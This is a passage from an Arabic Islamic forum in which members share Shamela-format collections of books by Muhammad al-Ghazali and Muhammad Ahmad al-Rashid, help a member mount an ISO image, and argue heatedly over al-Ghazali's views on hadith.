بارك الله فيكم أخي الحبيب وجزاكم الله خيرا وجعلك الله من عتقائه من النار وأنا الذي أخطأت بحذف الملفات
والحمد لله استطعت تحميلها مرة أخرى وخرجت لي cd1 بشكل أصفر نفس شكل برنامج الاسطوانة
لكن حاولت فتحها فلم أستطع
وقد اخترت من برنامج الاسطوانة فتح ثم اخترت cd1 وظهر بداخلها مجلد التسطيب وضغطت على أيقونة سطب فخرجت لي شاشة بها خيار: تشغيل الملف مباشرة وأخرى تقول بإخراج الملفات وجربت هذين الخيارين ولم تعمل معي الاسطوانة
وآخر مرة خرجت لي رسالة تقول أدخل الاسطوانة في الدرايف
فهل يلزم أن أنسخ الاسطوانة على سي دي وأضعها في السي دي روم؟ أم يمكن تشغيلها من على الجهاز؟ وكيف
معذرة أتعبتك معي
جزاك الله عني خيرا
اللهم إني صائم
(يُتْبَع .. اقلب الصفحة)
(61/123)
ـ[أبو محمد القحطاني]ــــــــ[11 - 09 - 08, 08:05 م]ـ
أوقفني بعض الإخوة على هذه النقول أيضاً:
يقول عن أهل السنة:
(أما الذي أرفضه وقد حاربته بضراوة فهو سفاهة بعض الأولاد الذين يتنقلون في العالم الإسلامي وينشؤون عقيدة جديدة أن أبا الرسول وأمه في النار) [مجلة الدعوة العدد 1182]
وقد قال عن حديث في صحيح مسلم (إن أبي وأباك في النار): هذا حديث يخالف القرآن حطه تحت رجليك!! [مناقشة رسالة العيد الشريفي في جامعة الجزائر المركزية وهي في شريط مسجل]
قلت: نسأل الله العافية، بغض النظر عن الخلاف في المسألة، لكن هل هذا أسلوب يخاطب به أهل السنة؟!
وقال أيضاً:
((وأهل الحديث يجعلون دية المرأة على النصف من دية الرجل وهذه سوأة خلقية وفكرية يرفضها الفقهاء المحققون)) [السنة النبوية ص19]
وهذه المسألة لا يخفى أنها محل إجماع ذكره ابن قدامة وابن عبدالبر وابن تيمية وغيرهم من أئمة الدين، فهل هؤلاء أصحاب سوأة خلفية؟! سبحانك اللهم!
أين أصحاب الغيرة و الحماس لأهل العلم - أصحاب التعليقات أعلاه -، أين المحبون للحديث وأهله؟!
هل سنحتاج للذب عن أهل الحديث ونحن في (ملتقى أهل الحديث)!؟
ـ[أبو محمد القحطاني]ــــــــ[11 - 09 - 08, 10:20 م]ـ
تأملتُ تعليقات بعض الإخوة فوجدتُ منهم من لم يفهم الخطاب العربي الفصيح!
وتذكرتُ كلمة لشيخ الإسلام ابن تيمية في (الاستغاثة) يقول فيها:
((هذا الكلام كلامُ من لم يفهم صحيحاً، ولم يعبر فصيحاً))
لكن لا بأس أوضح ليزول الإشكال، النقل الذي نقلته جاء فيه:
يقول الشيخ مقبل- غفر الله له -
((والله
ثم والله
ثم والله
لو رأى الإمام أحمد الغزالي لقال عنه: زنديق،
ولكني لا أجرأ على ذلك ... )) [من شرح مقدمة صحيح مسلم]
ولو: كما هو معلوم حرف امتناع لوجود، ويبدو أن الإخوة لم ينتبهوا لقول الشيخ في نفس النقل:
((ولكني لا أجرأ على ذلك))
ومعنى هذا الكلام بالعربي أن الشيخ يقول: أنا يا جماعة لا أقول أنه زنديق!!
ولا أستطيع أن أوضح أكثر من هذا ...
فالخلاصة:
لا الشيخ قال أنه زنديق
ولا العبد الفقير
فلماذا التهويل ومحاولة جلب العواطف؟!
والله الموفق.
ـ[أسامة بن الزهراء]ــــــــ[12 - 09 - 08, 12:07 ص]ـ
نرجوا من إدارة الملتقى - بارك الله فيهم - غلق هذا الموضوع
ـ[إسماعيل سعد]ــــــــ[12 - 09 - 08, 12:53 ص]ـ
بارك الله فيكم أخي الحبيب وجزاكم الله خيرا وجعلك الله من عتقائه من النار وأنا الذي أخطأت بحذف الملفات
والحمد لله استطعت تحميلها مرة أخرى وخرجت لي cd1 بشكل أصفر نفس شكل برنامج الاسطوانة
لكن حاولت فتحها فلم أستطع
وقد اخترت من برنامج الاسطوانة فتح ثم اخترت cd1 وظهر بداخلها مجلد التسطيب وضغطت على أيقونة سطب فخرجت لي شاشة بها خيار: تشغيل الملف مباشرة وأخرى تقول بإخراج الملفات وجربت هذين الخيارين ولم تعمل معي الاسطوانة
وآخر مرة خرجت لي رسالة تقول أدخل الاسطوانة في الدرايف
فهل يلزم أن أنسخ الاسطوانة على سي دي وأضعها في السي دي روم؟ أم يمكن تشغيلها من على الجهاز؟ وكيف
معذرة أتعبتك معي
جزاك الله عني خيرا
أنا آسف جدا الكهرباء قطعت علي منذ العصر وأنا كنت أكتب لك فسامحني.
إذا كنت سطتبت برنامج الأيزو سوف تظهر لك أيقونة بجانب الساعة:
- كليك يمين على الأيقونة.
- اختر أول اختيار (تركيب التصوير إلى القرص) إذا كانت اللغة عربية.
- سوف يفتح لك نافذة اذهب منها إلى ملف الاسطوانة المراد تشغيله ( cd1).
- سوف تفتح لك الاسطوانة.
- اختر مجلد setup
- اختر أيقونة التسطيب وسطب.
- شغل.
- ادعو لي بالمغفرة والإخلاص.(61/124)
للشاملة جميع مؤلفات ومقالات الشيخ محمد أحمد الراشد
ـ[إسماعيل سعد]ــــــــ[09 - 09 - 08, 06:51 م]ـ
السلام عليكم
إلى إخواني الفضلاء أعضاء الملتقى المبارك أقدم جميع مؤلفات ومقالات الفهامة محمد أحمد الراشد مفهرسة للشاملة
الكتب:
التقويم الدعوي
الكتاب: التقويم الدعوي
الرقائق
الكتاب: الرقائق
المؤلف: محمد أحمد الراشد
الناشر: مؤسسة الرسالة
الطبعة: الرابعة 1401 هـ - 1981م
العوائق
الكتاب: العوائق
االمؤلف: محمد أحمد الراشد
االناشر: مؤسسة الرسالة
الطبعة: الرابعة 1401 هـ - 1981م
المسار
الكتاب: المسار
المؤلف: محمد أحمد الراشد
الناشر: مؤسسة الرسالة
المنطلق
الكتاب: المنطلق
االمؤلف: محمد أحمد الراشد
الناشر: مؤسسة الرسالة
الطبعة: الرابعة 1401 هـ - 1981م
تقرير ميداني
الكتاب: تقرير ميداني
االمؤلف: محمد أحمد الراشد
الناشر:دار المنطلق لنشر وتوزيع الكتب والقرطاسية
صناعة الحياة
الكتاب: صناعة الحياة
االمؤلف: محمد أحمد الراشد
الناشر:دار المنطلق لنشر وتوزيع الكتب والقرطاسية
عودة الفجر
الكتاب: عودة الفجر
االمؤلف: محمد أحمد الراشد
الناشر:دار المنطلق لنشر وتوزيع الكتب والقرطاسية
فضائح الفتن
الكتاب: فضائح الفتن
المؤلف: محمد أحمد الراشد
الناشر: مؤسسة الرسالة
معا 00 نتطور
الكتاب: معاً 00 نتطور
المؤلف: محمد أحمد الراشد
الناشر:دار المنطلق لنشر وتوزيع الكتب والقرطاسية
معا نحمي العراق
الكتاب: معا نحمي العراق
مقالات
الكتاب: مقالات
نحو المعالي
الكتاب: نحو المعالي
المؤلف: محمد أحمد الراشد
الناشر: مؤسسة الرسالة
وقد أرفقته هنافي هذه المشاركة ورفعته على سيرفر الملتقى حتى يبقى إن شاء الله تعالى، وفقكم الله ورعاكم.
ـ[إسماعيل سعد]ــــــــ[09 - 09 - 08, 06:53 م]ـ
إذا استفدتم لا تنسوني ومن قام بالعمل من دعائكم عند الإفطار
ـ[أبو عبدالعزيز الجهني]ــــــــ[09 - 09 - 08, 07:02 م]ـ
جمع الله لك خير الدنيا والآخرة
ـ[إسماعيل سعد]ــــــــ[09 - 09 - 08, 07:08 م]ـ
وإياكم أخي
ـ[شتا العربي]ــــــــ[09 - 09 - 08, 07:17 م]ـ
جزاكم الله خيرا وبارك فيكم
ـ[أويس المغربي]ــــــــ[09 - 09 - 08, 09:55 م]ـ
بارك الله فيك يا أخي وشكر الله لك
ـ[ابو عبد المحسن]ــــــــ[10 - 09 - 08, 02:11 ص]ـ
جزاك الله خيراً أنت ومن قام بالعمل
ـ[سيدي محمد اندي]ــــــــ[10 - 09 - 08, 01:47 م]ـ
السلام عليكم
نبذة عن المرلف
عبد المنعم صالح العلي العزي (مواليدبغداد، 8 يوليو 1938 م، واسمه الحركي: محمد احمد الراشد) وهو داعية إسلامي وأحد أبرز قيادات الاخوان المسلمين في العراق، تتلمذ على يد الكثير من علماءبغداد ومنهم الشيخ امجد الزهاوي والشيخ العلامة محمد القزلحي وهاجر بعد حرب الخليج الثانية الى اوربا ويعتبر الراشد من أهم منظري و مؤلفي حركة الاخوان المسلمين فهو مؤلف العديد من الكتب التي تحاول أن تجمع روح الحركة مع العلم ونوع من الروحانيات والتأكيد على الأخلاق الإسلامية. وترجمت كتبه للكثير من اللغات الأجنبية.
من اهم كتبه المنطلق والعوائق وتهذيب مدارج السالكين
من اخطر ما نقم عليه على الاطلاق تاييده ودعمه للحزب الاسلامي في العراق بقيادة طارق الهاشمي بل هو كبير المستشارين فيه في فترة من الفترات خاصة فترة بول بريمر والتي كانت محل اجماع بين العقلاء ان اقل تعاون فيها مع المحتل مهما كان نوع ذلك التعاون يعتبر خيانة لأمة الاسلام ولا يخفى ان الحزب من من اهم ركائز المحتل الصليبي ومن اهم مقومات بقائه في العراق ولو ادعى ظاهريا غير هذا
اسال الله ان يهدينا سبل الرشاد
ـ[إسماعيل سعد]ــــــــ[14 - 09 - 08, 01:41 ص]ـ
جزاكم الله خيرا أخي الحبيب على هذه الإضافات المهمة.
ـ[علي الفضلي]ــــــــ[25 - 03 - 09, 01:43 م]ـ
أفضل كتب عبد المنعم العزي، ولقد أجاد فيه وأفاد هو:
(دفاع عن أبي هريرة) رضي الله عنه.
والرابط الذي كرره الأخ لا يعمل.
ـ[علي ابن جابر]ــــــــ[25 - 03 - 09, 01:46 م]ـ
اولا يا أخي الرابط لايعمل
ثانيا ليس هي جميع مؤلفات شيخ احمد الراشد هناك كتب كثيرة ما ذكرتها
1 - اصول الإفتاء أربع مجلدات
2 - البوارق
3 - تهذيب مدارج السالكين و ................ ز
ـ[حسن مظفر الرزو]ــــــــ[25 - 03 - 09, 07:14 م]ـ
السلام عليكم
الوابط لا تعمل يا أخي أرجو تزويدنا بالرابط
ـ[بلقاسم عبدالدائم]ــــــــ[22 - 04 - 09, 02:34 م]ـ
السلام عليكم ورحمة الله وبركاته
إخواني في الله رابط تحميل كتب الغزالي للشاملة لايعمل
ـ[أحمد بن عباس المصري]ــــــــ[01 - 10 - 09, 10:24 ص]ـ
جزاك الله خيرا .........
ـ[وذان أبو إيمان]ــــــــ[01 - 10 - 09, 02:35 م]ـ
الداعية المربي محمد أحمد الراشد له أسلوب جذاب ولغة قلما تجد لها عند العلماء مثيلا (ذالك فضل الله يؤتيه من يشاء والله ذوالفضل العظيم).
وللشيخ مؤلفات كثيرة. ماذكره الأخ هنا نزر قليل
عهدنا بأعضاء ملتقي أهل الحديث أنه أهل علم بحق ومجتهدون بجد.
وهذا ملتقي علمي مبارك استفدنا منه كثيرا ونسأل الله أن نستفيد منه أكثر
هذه أول مشاركة لي
أنا جد مسرور أني أصبحت عضوا في ملتقي علمي بهذه الضخامة
(يُتْبَع .. اقلب الصفحة)
(61/125)
ـ[خالد حامد الويشي]ــــــــ[01 - 10 - 09, 03:13 م]ـ
بارك الله فيك ونفع بك آمين
ـ[إسماعيل سعد]ــــــــ[01 - 10 - 09, 03:14 م]ـ
مرحبًا بما وجزاكما الله خيرا على المرور، ونسأل الله لنا ولكما العون والإفادة.
ـ[فرحات زيدان]ــــــــ[01 - 10 - 09, 03:15 م]ـ
جزاك الله خيرا .........
ـ[إسماعيل سعد]ــــــــ[01 - 10 - 09, 03:15 م]ـ
وترحيب خاص في تشريف الحاج فرحات زيدان لموضوعي ومبارك العضوية.
ـ[فرحات زيدان]ــــــــ[01 - 10 - 09, 03:35 م]ـ
بارك الله فيك .................
ـ[السامرائي السلفي]ــــــــ[17 - 10 - 09, 06:00 م]ـ
جزاك الله خيرا
ـ[أبو إلياس السلفي]ــــــــ[18 - 10 - 09, 05:10 ص]ـ
جزاك الله خيراً وبارك الله فيك
ـ[أبو عبد الرحمان القسنطيني الجزائري]ــــــــ[18 - 10 - 09, 10:39 ص]ـ
لو يرفع الإخوة الكتب الجديدة لراشد
وجزاكم الله خيرا
ـ[أبو حسام الهواري]ــــــــ[25 - 10 - 09, 04:00 م]ـ
جزاك الله خيرا ... التحميل جار
ـ[أبو طه الجزائري]ــــــــ[08 - 11 - 09, 01:31 ص]ـ
جزاك الله خيرا
بارك الله فيكم و نفع بكم
شكرا جزيلا على ما افدتم
حفظكم الله تعالى و رعاكم(61/126)
للشاملة جميع مؤلفات الشيخ محمد الغزالي
ـ[إسماعيل سعد]ــــــــ[09 - 09 - 08, 07:00 م]ـ
السلام عليكم
جميع مؤلفات العلامة الغزالي للشاملة وهي:
الإستعمار أحقاد وأطماع
الكتاب: الإستعمار أحقاد وأطماع
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
الإسراء والمعراج
الكتاب: الإسراء والمعراج
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
الإسلام المفتري عليه
الكتاب: الإسلام المفتري عليه بين الشيوعيين والرأسماليين
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
الإسلام في وجه الزحف الأحمر
الكتاب: الإسلام في وجه الزحف الأحمر
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
الإسلام والأوضاع الإقتصادية
الكتاب: الإسلام والأوضاع الإقتصادية
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
الإسلام والإستبداد السياسي
الكتاب: الإسلام والإستبداد السياسي
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
الإسلام والطاقات المعطلة
الكتاب: الإسلام والطاقات المعطلة
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
الإسلام والمناهج الإشتراكية
الكتاب: الإسلام والمناهج الإشتراكية
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
الإسلام وقانون الأحوال الشخصية
الكتاب: الإسلام وقانون الأحوال الشخصية
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
التعصب بين المسيحية و الإسلام
الكتاب: التعصب بين المسيحية و الإسلام
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
الجانب العاطفي من الإسلام
الكتاب: الجانب العاطفي من الإسلام
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
الحق المر
الكتاب: الحق المر
الحياة الأولي (ديوان شعر)
الكتاب: الحياة الأولي (ديوان شعر)
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
الخديعة
الكتاب: الخديعة حقيقة القومية العربية وأسطورة البعث العربي
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
الدعوة الإسلامية
الكتاب: الدعوة الإسلامية تستقبل عامها الخامس عشر
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
السنة النبوية بين أهل الفقه وأهل الحديث
الكتاب: السنة النبوية بين أهل الفقه وأهل الحديث
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
الشهادتان
الكتاب: الشهادتان
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
الطريق من هنا
الكتاب: الطريق من هنا
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
الغزو الثقافي
الكتاب: الغزو الثقافي
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
الفساد السياسي
الكتاب: الفساد السياسي
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
القرآن وليلة القدر
الكتاب: القرآن وليلة القدر
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
المحاور الخمسة للقرآن الكريم
الكتاب: المحاور الخمسة للقرآن الكريم
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
المرأة في الإسلام
الكتاب: المرأة في الإسلام
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
تأملات في الدين والحياة
الكتاب: تأملات في الدين والحياة
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
تراثنا الفكري في ميزان العقل والشرع
الكتاب: تراثنا الفكري في ميزان العقل والشرع
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
جدد حياتك
الكتاب: جدد حياتك
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
جهاد الدعوة
الكتاب: جهاد الدعوة بين عجز الداخل وكيد الخارج
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
حصاد الغرور
الكتاب: حصاد الغرور
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
حقوق الإنسان
الكتاب: حقوق الإنسان
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
خطب الشيخ محمد الغزالي
(يُتْبَع .. اقلب الصفحة)
(61/127)
الكتاب: خطب الشيخ محمد الغزالي
خلق المسلم
الكتاب: خلق المسلم
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
دستور الوحدة الثقافية بين المسلمين
الكتاب: دستور الوحدة الثقافية بين المسلمين
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
دفاع عن العقيدة والشريعة
الكتاب: دفاع عن العقيدة والشريعة ضد مطاعن المسنشرقين
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
ركائز الإيمان بين العقل والقلب
الكتاب: ركائز الإيمان بين العقل والقلب
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
رمضان والصيام
الكتاب: رمضان والصيام
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
سر تأخر العرب والمسلمين
الكتاب: سر تأخر العرب والمسلمين
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
صيحة تحذير من دعاة التنصير
الكتاب: صيحة تحذير من دعاة التنصير
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
ظلام من الغرب
الكتاب: ظلام من الغرب
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
عقيدة المسلم
الكتاب: عقيدة المسلم
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
علل وأدوية
الكتاب: علل وأدوية
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
فقه السيرة
الكتاب: فقه السيرة
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
فن الذكر والدعاء عند خاتم الأنبياء
الكتاب: فن الذكر والدعاء عند خاتم الأنبياء
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
في موكب الدعوة
الكتاب: في موكب الدعوة
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
قذائف الحق
الكتاب: قذائف الحق
المؤلف: محمد الغزالي
قضايا المرأة
الكتاب: قضايا المرأة بين التقاليد الراكدة والوافدة
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
كفاح دين
الكتاب: كفاح دين
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
كنوز من السنة
الكتاب: كنوز من السنة
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
كيف نتعامل مع القرآن
الكتاب: كيف نتعامل مع القرآن
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
كيف نفهم الإسلام
الكتاب: كيف نفهم الإسلام
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
ليس من الإسلام
الكتاب: ليس من الإسلام
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
مائة سوأل عن الإسلام
الكتاب: مائة سوأل عن الإسلام
محاضرات الشيخ محمد الغزالي
الكتاب: محاضرات الشيخ محمد الغزالي في إصلاح الفرد والمجتمع
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
مستقبل الإسلام خارج أرضه
الكتاب: مستقبل الإسلام خارج أرضه
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
مشكلات في طريق الحياة الإسلامية
الكتاب: مشكلات في طريق الحياة الإسلامية
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
مع الله دراسات في الدعوة والدعاة
الكتاب: مع الله دراسات في الدعوة والدعاة
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
معركة المصحف في العالم الإسلامي
الكتاب: معركة المصحف في العالم الإسلامي
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
مقالات الشيخ محمد الغزالي
الكتاب: مقالات الشيخ محمد الغزالي
من معالم الحق
الكتاب: من معالم الحق في كفاحناالإسلامي الحديث
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
من هنا نعلم
الكتاب: من هنا نعلم
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
نحو تفسير موضوعي
الكتاب: نحو تفسير موضوعي
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
نظرات في القرآن الكريم
الكتاب: نظرات في القرآن الكريم
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
هذا ديننا
الكتاب: هذا ديننا
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
هموم داعية
الكتاب: هموم داعية
المؤلف: محمد الغزالي
الناشر: دار نهضة مصر
الطبعة: الأولي
ـ[إسماعيل سعد]ــــــــ[09 - 09 - 08, 07:01 م]ـ
وهذا هو رابط التحميل:
http://www.files-up.com/files/mp0xnha7pty0ak/shamela_ghzaly.rar
ـ[إسماعيل سعد]ــــــــ[09 - 09 - 08, 07:02 م]ـ
لا تنسونا من الردود الطيبة والدعوات الصالحة إذا أعجعبكم الموضوع وأفاد.
ـ[ابو اسراء]ــــــــ[09 - 09 - 08, 08:06 م]ـ
السلام عليكم هل يا اخي هذه الموسوعة للشيخ الغزالي المصري او الغزالي السني
(يُتْبَع .. اقلب الصفحة)
(61/128)
ـ[أبو أكرم الحلبي]ــــــــ[09 - 09 - 08, 08:30 م]ـ
السلام عليكم هل يا اخي هذه الموسوعة للشيخ الغزالي المصري او الغزالي السني
السلام عليكم
للشيخ محمد الغزالي المصري رحمه الله
...
أسأل الله لك الفردوس الأعلى أخ إسماعيل فهدية ولا أجمل
بارك الله فيك وجعلك من عتقاء هذا الشهر
جاري التحميل ...
ـ[الاستاذ]ــــــــ[09 - 09 - 08, 10:19 م]ـ
السلام عليكم هل يا اخي هذه الموسوعة للشيخ الغزالي المصري او الغزالي السني
من الغزالي السني هذا؟
ـ[أبو إبراهيم حسانين]ــــــــ[09 - 09 - 08, 10:54 م]ـ
أورثك ربى الفردوس الأعلى
هدية ما أروعها
ورحم الله العلامة الغزالى وجزاه عن الإسلام والمسلمين خير الجزاء
ـ[الحسين بن أحمد]ــــــــ[10 - 09 - 08, 12:02 ص]ـ
جزاكم الله بكل خير على المجهود
ـ[أبوعبدالرحمن المكي التميمي]ــــــــ[10 - 09 - 08, 12:19 ص]ـ
ليت الإخوة أيضا يرفعون معها الردود التي بينت أخطاء كتبه حتى لايحمل وزرها ....
والله المستعان ...
تقبلوا هذه النصيحة بصدر واسع فلم أرد إلا الخير ....
ـ[أبو المظفر السِّنَّاري]ــــــــ[10 - 09 - 08, 01:51 ص]ـ
من الغزالي السني هذا؟
وجزاكم الله خيرًا.
ـ[علي 56]ــــــــ[10 - 09 - 08, 01:57 ص]ـ
جزاكم الله خيرا
ـ[ابو عبد المحسن]ــــــــ[10 - 09 - 08, 02:06 ص]ـ
بارك الله فيك أخي وجزاك الله خيراً
ـ[إسماعيل سعد]ــــــــ[10 - 09 - 08, 02:36 ص]ـ
جزاكم الله خيرا إخواني، والغزالي هو الشيخ الفاضل محمد الغزالي المصري الذي عاش في القرن العشرين رحمه الله نعالى كما هو بيِّن من أسماء كتبه، والرجل علَم.
ـ[إسماعيل سعد]ــــــــ[10 - 09 - 08, 02:41 ص]ـ
ليت الإخوة أيضا يرفعون معها الردود التي بينت أخطاء كتبه حتى لايحمل وزرها ....
والله المستعان ...
تقبلوا هذه النصيحة بصدر واسع فلم أرد إلا الخير ....
أنا متقبل نصيحتك أخي جزيت خيرًا، وليس هناك حرج فلكل إنسان أخطاء ولا معصوم عندنا أهل السنة إلا الأنبياء، ولكن يبقى الوقوف على الأخطاء فتلك قضية أخرى تعتمد على الأدلة والترجيح بينها.
ولا أعلم أخي من الكتب التي كتبت في ذلك إلا كتاب حوار هادئ مع الشيخ محمد الغزالي
فالذي عنده رابطه يضيفه وإن كان غيره أيضا، والعبرة بترجيح القارئ ومدى قناعته.
ـ[عصام فرج محمد مدين]ــــــــ[10 - 09 - 08, 02:55 ص]ـ
حق لنا الاعتراض على جعل المصرى مقابل السنى وهذا لااقبله وارجو الا يتكرر حتى لاتغضب منك احد
ـ[عصام فرج محمد مدين]ــــــــ[10 - 09 - 08, 03:00 ص]ـ
أسأل الله لك الفردوس الأعلى أخ إسماعيل وايضا اخى المكى التميمى وجميع الاخوه
بارك الله فيكم وجعلكم من عتقاء هذا الشهر
ـ[هاني القزاز]ــــــــ[10 - 09 - 08, 03:22 ص]ـ
جزاك ربي خيراً
وزادك من فضله
ـ[أبو أكرم الحلبي]ــــــــ[10 - 09 - 08, 04:56 ص]ـ
من الغزالي السني هذا؟
أظن أن الأخ قصد الشيخ (أبو حامد الغزالي) والله أعلم
ـ[محمد الأمين]ــــــــ[10 - 09 - 08, 06:51 ص]ـ
الكتاب: السنة النبوية بين أهل الفقه وأهل الحديث
المؤلف: محمد الغزالي
لا رحم الله مؤلف هذا الكتاب ... كان عدواً لسنة نبينا عليه الصلاة والسلام
ـ[حمود بن يحيى]ــــــــ[10 - 09 - 08, 07:00 ص]ـ
لا رحم الله مؤلف هذا الكتاب ... كان عدواً لسنة نبينا عليه الصلاة والسلام
[ستكتب شهادتهم ويسألون]
ـ[محمد الأمين]ــــــــ[10 - 09 - 08, 07:15 ص]ـ
نعم ومن كان يقول عن حديث حبيبي رسول الله - صَلَّى اللَّهُ عَلَيْهِ وَسَلَّم َ - "حطه تحت رجليك" فإني أبغضه في الله وأضعه وأتباعه تحت قدمي
ـ[حمود بن يحيى]ــــــــ[10 - 09 - 08, 08:36 ص]ـ
نعم ومن كان يقول عن حديث حبيبي رسول الله - صَلَّى اللَّهُ عَلَيْهِ وَسَلَّم َ - "حطه تحت رجليك" فإني أبغضه في الله وأضعه وأتباعه تحت قدمي
هذه أخلاقك .. راجعتُ مشاركاتك وردودك على مخالفيك فكانت على هذا المنوال ..
ولست من أتباع الغزالي .. وأتحداك أن تأتي بحديث ثبت عند الغزالي أن النبي صلى الله عليه وسلم قاله ولا معارض عنده ثم قلل أدبه معه .. نعم كان الغزالي من العقلانيين .. لكن ليس كما تسبه ..
وأنت أليس لك تضعيف على هواك .. ضعفت حديثًا تلقته الأمة بالقبول .. "عليكم بسنتي وسنة الخلفاء الراشدين" ..
وتحاملك شديد على الحنفية ومشايخهم -في مشاركاتك- من غير دليل سوى الهوى .. ولا عجب في ذلك فليس للهوى زمام ..
سلامًا
ـ[ابن عقيل]ــــــــ[10 - 09 - 08, 10:30 ص]ـ
جزى الله الأخ إسماعيل سعد، ووفقه الله
كان الغزالي رحمه الله لا يخاف في الله لومة لائم امام الجبابرة والمستبدين، وسدا منيعا في وجه العلمانيين
ولا تشغلوا أنفسكم بما قاله أحد الإخوة هنا، فمعركة هذا الأخير وأمثاله مع الأمة وليس مع أعدائها
هدانا الله تعالى جميعا
ـ[إبراهيم أمين]ــــــــ[10 - 09 - 08, 10:42 ص]ـ
بارك الله فيك أخي وجزاك الله خيراً
ويل للأمة من الذين ينحازون لمذهب، فيتعصبون ويسبون،
كان يكفي أن تذكر - برفق - أن في كتبه بعض ما لا يروقك، وتترك الباقي للإخوة
غفر الله تعالى لنا ولكم ولجميع المسلمين
(يُتْبَع .. اقلب الصفحة)
(61/129)
ـ[شعيب القاضي]ــــــــ[10 - 09 - 08, 11:55 ص]ـ
من الردود:
- المعيار لعلم الغزالي للشيخ صالح آل الشيخ
- كشف موقف الغزالي من السنة وأهلها للشيخ ربيع بن هادي المدخلي
- حوار هادئ مع محمد الغزالي .. للشيخ سلمان العودة
- رد للشيخ عائض القرني لا أذكر اسمه
.....................
ـ[شتا العربي]ــــــــ[10 - 09 - 08, 01:51 م]ـ
جزاكم الله خيرا وبارك فيكم
ما الفرق بين هذه الكتب وبين التي في الاسطوانة التي في الرابط القريب من هذا؟
وهل هذه الكتب موافقة للمطبوع؟
وهل تغني عن تحميل الاسطوانة
وجزاكم الله خيرا وبارك فيكم(61/130)
pحمل كتاب ((مصباح الزجاجة لزوائد بن ماجه))؛ للشاملة
ـ[يونس1]ــــــــ[09 - 09 - 08, 07:29 م]ـ
التصنيف العام.
$ علم الحديث الشريف. $
شروح الحديث.
- شروح الكتب الستة.
و:
علم الحديث الشريف
المتون
الكتب الأربعة
سنن ابن ماجه
دراسات حول سنن بن ماجه
ـ[أبو المنذر الظاهرى]ــــــــ[09 - 08 - 10, 05:40 م]ـ
أحتاج كتاب مصباح الزجاجة فى زوائد بن ماجه pdf كاملا لأن تحقيق الشهرى ناقص بارك الله فيكم(61/131)
سؤال عن كتاب جزاكم الله كل خير
ـ[العطافي]ــــــــ[09 - 09 - 08, 09:43 م]ـ
